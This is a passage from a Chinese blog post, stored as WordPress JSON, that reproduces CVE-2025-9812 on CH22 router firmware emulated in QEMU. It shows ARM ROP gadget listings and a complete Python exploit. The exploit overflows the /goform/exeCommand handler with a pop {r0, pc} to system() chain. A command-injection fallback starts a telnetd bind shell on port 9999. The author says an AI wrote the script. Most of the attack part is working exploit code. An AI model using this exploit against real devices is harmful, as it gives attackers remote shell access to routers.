andeqr1, r0, r8, lsl fp<br \/>\n&#8212;<br \/>\n   34848:e8bd801f pop{r0, r1, r2, r3, r4, pc}<br \/>\n   3484c:00038ce0 andeqr8, r3, r0, ror #25<br \/>\n   34850:00001e90 muleqr0, r0, lr<br \/>\n&#8212;<br \/>\n   348ac:e8bd801f pop{r0, r1, r2, r3, r4, pc}<br \/>\n   348b0:00038c84 andeqr8, r3, r4, lsl #25<br \/>\n   348b4:00001e90 muleqr0, r0, lr<br \/>\n&#8212;<br \/>\n   35e64:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}<br \/>\n   35e68:000376e4 andeqr7, r3, r4, ror #13<br \/>\n   35e6c:000009e8 andeqr0, r0, r8, ror #19<br \/>\n&#8212;<br \/>\n   3c764:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}<br \/>\n   3c768:00030dd4 ldrdeqr0, [r3], -r4<br \/>\n   3c76c:000009e8 andeqr0, r0, r8, ror #19<br \/>\n&#8212;<br \/>\n   3db60:08bd8001 popeq{r0, pc}<br \/>\n   3db64:e3520002 cmpr2, #2<br \/>\n   3db68:e4d13001 ldrbr3, [r1], #1<br \/>\n&#8212;<br \/>\n   3db80:e8bd8001 pop{r0, pc}<br \/>\n   3db84:e26cc004 rsbip, ip, #4<br \/>\n   3db88:e35c0002 cmpip, #2<br \/>\n&#8212;<br \/>\n   4b698:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}<br \/>\n   4b69c:00021ebc ; &lt;UNDEFINED&gt; instruction: 0x00021ebc<br \/>\n   4b6a0:00000d14 andeqr0, r0, r4, lsl sp<br \/>\n&#8212;<br \/>\n   4bc44:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}<br \/>\n   4bc48:00021910 andeqr1, r2, r0, lsl r9<br \/>\n   4bc4c:00000d2c andeqr0, r0, ip, lsr #26<br \/>\n&#8212;<br \/>\n   4c174:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}<br \/>\n   4c178:000213e0 andeqr1, r2, r0, ror #7<br \/>\n   4c17c:00000d44 andeqr0, r0, r4, asr #26<br \/>\n&#8212;<br \/>\n   501b0:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}<br \/>\n   501b4:0001d37c andeqsp, r1, ip, ror r3<br \/>\n   501b8:000047bc ; &lt;UNDEFINED&gt; instruction: 0x000047bc<br \/>\n&#8212;<br \/>\n   53b30:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}<br \/>\n   53b34:00019ba0 andeqr9, r1, r0, lsr #23<br \/>\n   53b38:00000a44 andeqr0, r0, r4, asr #20<br \/>\n&#8212;<br \/>\n   5ae7c:e8bd8001 pop{r0, pc}<br \/>\n   5ae80:e52de008 strlr, [sp, #-8]!<br \/>\n   5ae84:ebfffff8 bl5ae6c &lt;__libc_system&#043;0xbfc&gt;<br \/>\n~\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root &gt; <\/p>\n<h5 id=\"VZQPJ\">\u4f46\u662f\u7531\u4e8e\u6bcf\u6b21\u542f\u52a8qemu\u7684\u65f6\u5019&#xff0c;\u56e0\u4e3aaslr\u7684\u539f\u56e0\u5bfc\u81f4\u6bcf\u6b21\u5730\u5740\u90fd\u4e0d\u4e00\u6837&#xff0c;\u6240\u4ee5\u5c31\u76f4\u63a5ai\u4e86<\/h5>\n<p>import socket<br \/>\nimport struct<br \/>\nimport subprocess<br \/>\nimport sys<br \/>\nimport os<br \/>\nimport time<\/p>\n<p># \u2500\u2500 Config \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br \/>\nTARGET_IP   &#061; &#034;192.168.0.1&#034;<br \/>\nTARGET_PORT &#061; 80<br \/>\nBINDSHELL_PORT &#061; 9999<br \/>\nOFFSET_TO_PC &#061; 540          # Confirmed with cyclic pattern<\/p>\n<p># libc offsets (from lib\/libc.so.0)<br \/>\nLIBC_SYSTEM_OFFSET  &#061; 0x0005a270<br \/>\nLIBC_POP_R0_PC_OFF  &#061; 0x0003db80   # pop {r0, pc}<\/p>\n<p># Approximate stack address (observed in GDB at crash point)<br \/>\n# Adjust if this changes between QEMU runs<br \/>\nSTACK_CMD_ADDR &#061; 0x4080028c   # SP&#043;20 from observed crash SP 0x40800278<\/p>\n<p># \u2500\u2500 Helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br \/>\ndef p32(x):<br \/>\n    return struct.pack(&#034;&lt;I&#034;, x &amp; 0xFFFFFFFF)<\/p>\n<p>def get_libc_base():<br \/>\n    &#034;&#034;&#034;Read libc base from running qemu-arm process&#034;&#034;&#034;<br \/>\n    try:<br \/>\n        pid &#061; subprocess.check_output(<br \/>\n            &#034;pgrep -f &#039;qemu-arm.*httpd&#039; | head -1&#034;, shell&#061;True<br \/>\n        ).decode().strip()<br \/>\n        if not pid:<br \/>\n            return None<br \/>\n        maps &#061; subprocess.check_output(<br \/>\n            f&#034;sudo cat \/proc\/{pid}\/maps&#034;, shell&#061;True<br \/>\n        ).decode()<br \/>\n        for line in maps.split(&#039;\\\\n&#039;):<br \/>\n            if &#039;libc.so.0&#039; in line and &#039;r-xp&#039; in line:<br \/>\n                return int(line.split(&#039;-&#039;)[0], 16)<br \/>\n    except:<br \/>\n        pass<br \/>\n    return None<\/p>\n<p>def send_payload(payload):<br \/>\n    &#034;&#034;&#034;Send POST request with overflow payload&#034;&#034;&#034;<br \/>\n    body &#061; b&#034;cmdinput&#061;&#034; &#043; payload<br \/>\n    sock &#061; socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br \/>\n    sock.settimeout(5)<br \/>\n    sock.connect((TARGET_IP, TARGET_PORT))<br \/>\n    req &#061; (<br \/>\n        f&#034;POST \/goform\/exeCommand HTTP\/1.0\\\\r\\\\n&#034;<br \/>\n        f&#034;Host: {TARGET_IP}\\\\r\\\\n&#034;<br \/>\n        f&#034;Content-Type: application\/x-www-form-urlencoded\\\\r\\\\n&#034;<br \/>\n        f&#034;Content-Length: {len(body)}\\\\r\\\\n&#034;<br \/>\n        f&#034;\\\\r\\\\n&#034;<br \/>\n    ).encode() &#043; body<br \/>\n    sock.send(req)<br \/>\n    try:<br \/>\n        resp &#061; sock.recv(4096)<br \/>\n        print(f&#034;[*] Response: {resp[:200]}&#034;)<br \/>\n    except socket.timeout:<br \/>\n        print(&#034;[*] No response (httpd may have crashed &#8211; expected for ROP)&#034;)<br \/>\n    sock.close()<\/p>\n<p>def check_shell():<br \/>\n    &#034;&#034;&#034;Check if bind shell is listening&#034;&#034;&#034;<br \/>\n    try:<br \/>\n        s &#061; socket.socket()<br \/>\n        s.settimeout(3)<br \/>\n        s.connect((TARGET_IP, BINDSHELL_PORT))<br \/>\n        s.send(b&#034;echo SHELL_OK; id\\\\n&#034;)<br \/>\n        time.sleep(0.5)<br \/>\n        data &#061; s.recv(4096)<br \/>\n        s.close()<br \/>\n        return data<br \/>\n    except:<br \/>\n        return None<\/p>\n<p># \u2500\u2500 Main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br \/>\ndef main():<br \/>\n    print(&#034;[*] CVE-2025-9812 ROP Exploit&#034;)<br \/>\n    print(f&#034;[*] Target: {TARGET_IP}:{TARGET_PORT}&#034;)<br \/>\n    print(f&#034;[*] Offset to PC: {OFFSET_TO_PC} bytes&#034;)<\/p>\n<p>    # 1. Get libc base<br \/>\n    libc_base &#061; get_libc_base()<br \/>\n    if not libc_base:<br \/>\n        print(&#034;[-] Cannot find libc base. Is httpd running?&#034;)<br \/>\n        print(&#034;[*] Trying command injection fallback&#8230;&#034;)<br \/>\n        # Command injection fallback (always works)<br \/>\n        payload &#061; b&#034;ls; \/usr\/sbin\/telnetd -p %d -l \/bin\/sh;&#034; % BINDSHELL_PORT<br \/>\n        send_payload(payload)<br \/>\n        time.sleep(2)<br \/>\n        result &#061; check_shell()<br \/>\n        if result:<br \/>\n            print(f&#034;[&#043;] Shell via command injection! Output:\\\\n{result.decode(errors&#061;&#039;replace&#039;)}&#034;)<br \/>\n            print(f&#034;[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}&#034;)<br \/>\n        else:<br \/>\n            print(&#034;[-] Shell not available. Start httpd and try again.&#034;)<br \/>\n        return<\/p>\n<p>    print(f&#034;[&#043;] libc base: 0x{libc_base:08x}&#034;)<\/p>\n<p>    # 2. Calculate addresses<br \/>\n    system_addr &#061; libc_base &#043; LIBC_SYSTEM_OFFSET<br \/>\n    gadget_addr &#061; libc_base &#043; LIBC_POP_R0_PC_OFF<br \/>\n    cmd_addr    &#061; STACK_CMD_ADDR<\/p>\n<p>    print(f&#034;[&#043;] system:  0x{system_addr:08x}&#034;)<br \/>\n    print(f&#034;[&#043;] gadget:  0x{gadget_addr:08x}&#034;)<br \/>\n    print(f&#034;[&#043;] cmd:     0x{cmd_addr:08x}&#034;)<\/p>\n<p>    # 3. Build ROP chain<br \/>\n    cmd &#061; b&#034;\/usr\/sbin\/telnetd -p %d -l \/bin\/sh&#034; % BINDSHELL_PORT<\/p>\n<p>    payload  &#061; b&#034;A&#034; * OFFSET_TO_PC<br \/>\n    payload &#043;&#061; p32(gadget_addr)      # PC \u2192 pop {r0, pc}<br \/>\n    payload &#043;&#061; p32(cmd_addr)         # \u2192 R0 &#061; pointer to cmd string<br \/>\n    payload &#043;&#061; p32(system_addr)      # \u2192 PC &#061; system()<br \/>\n    payload &#043;&#061; cmd &#043; b&#034;\\\\x00&#034;          # command string (at cmd_addr)<\/p>\n<p>    print(f&#034;[*] Payload length: {len(payload)} bytes&#034;)<br \/>\n    print(f&#034;[*] Sending ROP payload&#8230;&#034;)<\/p>\n<p>    # 4. Send exploit<br \/>\n    send_payload(payload)<\/p>\n<p>    # 5. Wait and check<br \/>\n    print(f&#034;[*] Waiting for shell on port {BINDSHELL_PORT}&#8230;&#034;)<br \/>\n    time.sleep(2)<\/p>\n<p>    for attempt in range(3):<br \/>\n        print(f&#034;[*] Attempt {attempt&#043;1}&#8230;&#034;)<br \/>\n        result &#061; check_shell()<br \/>\n        if result:<br \/>\n            print(f&#034;[&#043;] GOT SHELL!\\\\n{result.decode(errors&#061;&#039;replace&#039;)}&#034;)<br \/>\n            print(f&#034;[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}&#034;)<br \/>\n            return<br \/>\n        time.sleep(1)<\/p>\n<p>    print(&#034;[-] ROP shell failed. Trying command injection fallback&#8230;&#034;)<br \/>\n    payload &#061; b&#034;ls; \/usr\/sbin\/telnetd -p %d -l \/bin\/sh;&#034; % BINDSHELL_PORT<br \/>\n    send_payload(payload)<br \/>\n    time.sleep(2)<br \/>\n    result &#061; check_shell()<br \/>\n    if result:<br \/>\n        print(f&#034;[&#043;] Shell via command injection!&#034;)<br \/>\n        print(f&#034;[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}&#034;)<\/p>\n<p>if __name__ &#061;&#061; &#034;__main__&#034;:<br \/>\n    main()<\/p>\n<p id=\"ube27ccb5\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"654\" id=\"u996f2be7\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260830041657-6a93aeb9d5997.png\" width=\"2497\" \/><\/p>\n<h5 id=\"xPa03\">\u8fd9\u6837\u5c31\u62ff\u5230shell\u4e86<\/h5>\n<p id=\"ue2bec504\">\n","protected":false},"excerpt":{"rendered":"<p>\u9996\u5148&#xff0c;\u6211\u4eec\u62ff\u5230\u8fd9\u4e2a\u56fa\u4ef6\u4e4b\u540e\u8fd8\u662f\u5148\u8fdb\u884c\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e2a\u67b6\u6784\u8fd9\u91cc\u53ef\u4ee5\u770b\u51fa\u6765\u662f32\u4f4d\u7684arm\u67b6\u6784\u7684&#xff1b;~ &gt; cd \/home\/bgl1\/renwu<br \/>\n~\/renwu &gt; ls<br \/>\nUS_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin  _US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted<br \/>\n~\/renwu &gt; cd _US_CH22V1.0BR_V1.0.0.6\\\\(468\\\\)_CN_TDC.bi<\/p>\n","protected":false},"author":2,"featured_media":97843,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[122],"topic":[],"class_list":["post-97851","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-122"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>CVE-2025-9812\u590d\u73b0 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/97851.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CVE-2025-9812\u590d\u73b0 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u9996\u5148&#xff0c;\u6211\u4eec\u62ff\u5230\u8fd9\u4e2a\u56fa\u4ef6\u4e4b\u540e\u8fd8\u662f\u5148\u8fdb\u884c\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e2a\u67b6\u6784\u8fd9\u91cc\u53ef\u4ee5\u770b\u51fa\u6765\u662f32\u4f4d\u7684arm\u67b6\u6784\u7684&#xff1b;~ &gt; cd \/home\/bgl1\/renwu ~\/renwu &gt; ls US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin _US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted ~\/renwu &gt; cd _US_CH22V1.0BR_V1.0.0.6\\(468\\)_CN_TDC.bi\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/97851.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-30T04:16:59+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260830041654-6a93aeb62cf59.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/97851.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/97851.html\",\"name\":\"CVE-2025-9812\u590d\u73b0 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-08-30T04:16:59+00:00\",\"dateModified\":\"2026-08-30T04:16:59+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/97851.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/97851.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/97851.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CVE-2025-9812\u590d\u73b0\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CVE-2025-9812\u590d\u73b0 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/97851.html","og_locale":"zh_CN","og_type":"article","og_title":"CVE-2025-9812\u590d\u73b0 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u9996\u5148&#xff0c;\u6211\u4eec\u62ff\u5230\u8fd9\u4e2a\u56fa\u4ef6\u4e4b\u540e\u8fd8\u662f\u5148\u8fdb\u884c\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e2a\u67b6\u6784\u8fd9\u91cc\u53ef\u4ee5\u770b\u51fa\u6765\u662f32\u4f4d\u7684arm\u67b6\u6784\u7684&#xff1b;~ &gt; cd \/home\/bgl1\/renwu ~\/renwu &gt; ls US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin _US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted ~\/renwu &gt; cd _US_CH22V1.0BR_V1.0.0.6\\(468\\)_CN_TDC.bi","og_url":"https:\/\/www.wsisp.com\/helps\/97851.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-08-30T04:16:59+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260830041654-6a93aeb62cf59.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"14 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/97851.html","url":"https:\/\/www.wsisp.com\/helps\/97851.html","name":"CVE-2025-9812\u590d\u73b0 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-08-30T04:16:59+00:00","dateModified":"2026-08-30T04:16:59+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/97851.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/97851.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/97851.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"CVE-2025-9812\u590d\u73b0"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/97851","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=97851"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/97851\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/97843"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=97851"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=97851"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=97851"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=97851"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}